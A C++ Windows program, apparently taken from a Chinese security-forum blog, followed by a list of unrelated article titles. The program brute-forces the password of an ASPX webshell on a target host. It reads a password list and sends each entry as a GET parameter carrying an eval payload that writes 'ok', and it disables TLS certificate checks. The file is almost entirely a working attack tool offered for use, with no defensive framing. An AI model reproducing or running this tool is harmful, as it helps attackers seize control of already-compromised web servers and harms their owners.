#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include <string.h>
#include <string>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib") void banner() //显示banner
{
printf("[-]:Webshell Aspx crack T00ls\r\n[-]:Welcome www.90sec.org\r\n");
} int _tmain(int argc, _TCHAR * argv [])
{
DWORD dwsize = 0;
LPSTR pszOutBuffer;
LPBYTE lpHeader, lpData;
LPCWSTR Host = argv[1];
LPCWSTR Url = argv[2];
char buf[MAX_PATH] = {0}; //fgets接收字符串
FILE* fp;
int i = 0; if (argc < 4) //如果入口长度小于4
{
banner();
printf("[-]:%S Host Domain_Url Password_List\r\n",argv[0]);
return 0;
} if ((fp = _wfopen(argv[3],L"rb")) == NULL) //打开文件,如果不存在
{
printf("File not found\r\n"); //打印错误
return 0;
}
while ((fgets(buf,MAX_PATH,fp))) //这儿注意,fgets读取文件,默认一行尾端会增加一个回车,我就是在这儿卡了一晚上
{
buf[strlen(buf) - 2] = '\0'; //倒数第二个字符,也就是回车,替换 HINTERNET Hinternet = WinHttpOpen(L"HttpClient 1.0", //定义访问sessions
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,0);
if (Hinternet == NULL) //如果定义访问的sessions为空
{
printf("Failed to Initialize http sessions\r\n");
return 0;
} HINTERNET Hconnect = WinHttpConnect(Hinternet, //初始化连接
Host, //定义地址
INTERNET_DEFAULT_HTTPS_PORT,//默认端口443
0); if (Hconnect == NULL) //如果为空,就close winhttp句柄
{
printf("Hconnect error\r\n");
WinHttpCloseHandle(Hinternet);
return 0;
} WCHAR* res = new WCHAR[MAX_PATH + 1]; //释放内存,准备写入数据
wsprintf(res,L"%s?%S=Response.Write(\"ok\");Response.End()",Url,buf); //写入字符串到释放内存的变量里
HINTERNET Hrequest = WinHttpOpenRequest(Hconnect, //准备传输,定义好格式
L"GET",
res,
L"HTTP /1.1",
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE|WINHTTP_FLAG_REFRESH); if (Hrequest == NULL)
{
WinHttpCloseHandle(Hinternet);
WinHttpCloseHandle(Hconnect);
return 0;
} DWORD dwFlags;
DWORD dwBuffLen = sizeof(dwFlags);
WinHttpQueryOption (Hrequest, WINHTTP_OPTION_SECURITY_FLAGS, //设置查询选项
(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
dwFlags |= SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
dwFlags |= SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
dwFlags |= SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; WinHttpSetOption (Hrequest, WINHTTP_OPTION_SECURITY_FLAGS, //设置选项
&dwFlags, sizeof (dwFlags) ); if (WinHttpSendRequest(Hrequest, //发送数据
WINHTTP_NO_ADDITIONAL_HEADERS,0,
WINHTTP_NO_REQUEST_DATA,0,0,0) == FALSE)
{
DWORD err = GetLastError();
WinHttpCloseHandle(Hrequest);
WinHttpCloseHandle(Hconnect);
WinHttpCloseHandle(Hinternet);
return 0;
} if (WinHttpReceiveResponse(Hrequest,NULL) == FALSE) //开始读取相应
{
DWORD err = GetLastError();
WinHttpCloseHandle(Hrequest);
WinHttpCloseHandle(Hconnect);
WinHttpCloseHandle(Hinternet);
return 0;
} DWORD dwSize = 0;
if (!WinHttpQueryDataAvailable( Hrequest, &dwSize)) //检查是否还有数据接受
printf( "Error %u in WinHttpQueryDataAvailable.\n",
GetLastError()); WinHttpQueryHeaders(Hrequest, //查看http响应头
WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX,NULL,
&dwsize,WINHTTP_NO_HEADER_INDEX);
lpHeader = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dwsize); WinHttpQueryHeaders(Hrequest,
WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX,
lpHeader, &dwsize,
WINHTTP_NO_HEADER_INDEX);
HeapFree(GetProcessHeap(), 0, lpHeader);
DWORD dwDownloaded = 0;
pszOutBuffer = new char[dwSize+1];
if (!pszOutBuffer)
{
printf("Out of memory\n");
} ZeroMemory(pszOutBuffer, dwSize+1);
if (!WinHttpReadData( Hrequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
{
printf( "Error %u in WinHttpReadData.\n", GetLastError());
}
if (strstr(pszOutBuffer,"ok"))
{
printf("Line:%d-->Find password Success:%s\n",++i,buf);
return 0;
}else
{
printf("Line:%d-->password Not found:%s\n",++i,buf);
}
}
delete[] pszOutBuffer;
//delete[] res;
return 0;
}

最新文章

  1. Spring事务管理(转)
  2. 用wordpress搭建个人博客
  3. swift项目初体验--教你打造一款个性化图片浏览器(篇幅过大,慎入)
  4. Android ContentProvider 简单学习
  5. zookeeper[3] zookeeper API开发注意事项总结
  6. qt视图选择
  7. MFC窗口的父子关系和层级关系
  8. C#中结构与类的区别
  9. wpf 9张图片的连连看
  10. IntersectionObserver实现图片懒加载
  11. Jade报错:Invalid indentation,you can use tabs or spaces but not both问题
  12. PHP - curl实现采集
  13. Javascript的原型继承,说清楚
  14. VGG网络结构
  15. 微信小程序拉起登录的操作
  16. asp.net core异步进行新增操作并且需要判断某些字段是否重复的三种解决方案
  17. Siamese网络
  18. 【图数据结构的遍历】java实现广度优先和深度优先遍历
  19. 记录常用的git命令
  20. SysTick Software Timer

热门文章

  1. SharePoint服务器端对象模型 之 访问文件和文件夹(Part 3)
  2. 学习华为云SWR(CCE)服务的使用方法
  3. 参数Slave_IO_Running和Slave_SQL_Running的状态值解析
  4. Quality of service
  5. BaseServlet 介绍
  6. python面试题(六)
  7. centos安装lumen
  8. HDFS权限管理指南(HDFS Permissions Guide)
  9. Linux学习笔记(1)linux的开关机及重启
  10. springboot 常用的异常处理方式